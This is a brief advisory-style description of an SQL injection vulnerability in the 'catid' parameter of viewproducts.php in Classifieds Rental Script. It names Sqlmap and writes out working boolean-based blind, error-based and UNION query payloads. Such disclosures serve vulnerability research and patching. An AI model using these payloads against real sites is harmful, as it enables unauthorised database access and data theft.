SQL Injection in Classifieds Rental Script
An attacker can exploit a SQL injection vulnerability in Classifieds Rental Script by sending malicious payloads to the vulnerable parameter 'catid' in the 'viewproducts.php' script. The payloads can be sent using tools such as Sqlmap. The payloads can be of type boolean-based blind, error-based, or UNION query. For example, a boolean-based blind payload can be 'catid=-1285' OR 8060=8060#' and an error-based payload can be 'catid=-9700' OR 1 GROUP BY CONCAT(0x717a627071,(SELECT (CASE WHEN (7055=7055) THEN 1 ELSE 0 END)),0x716a767871,FLOOR(RAND(0)*2)) HAVING MIN(0)#' and a UNION query payload can be 'catid=-4664' UNION ALL SELECT CONCAT(0x717a627071,0x444c6a6547574179515a64414752636446697064764a5a64745042625072666b5954674a58484577,0x716a767871)#'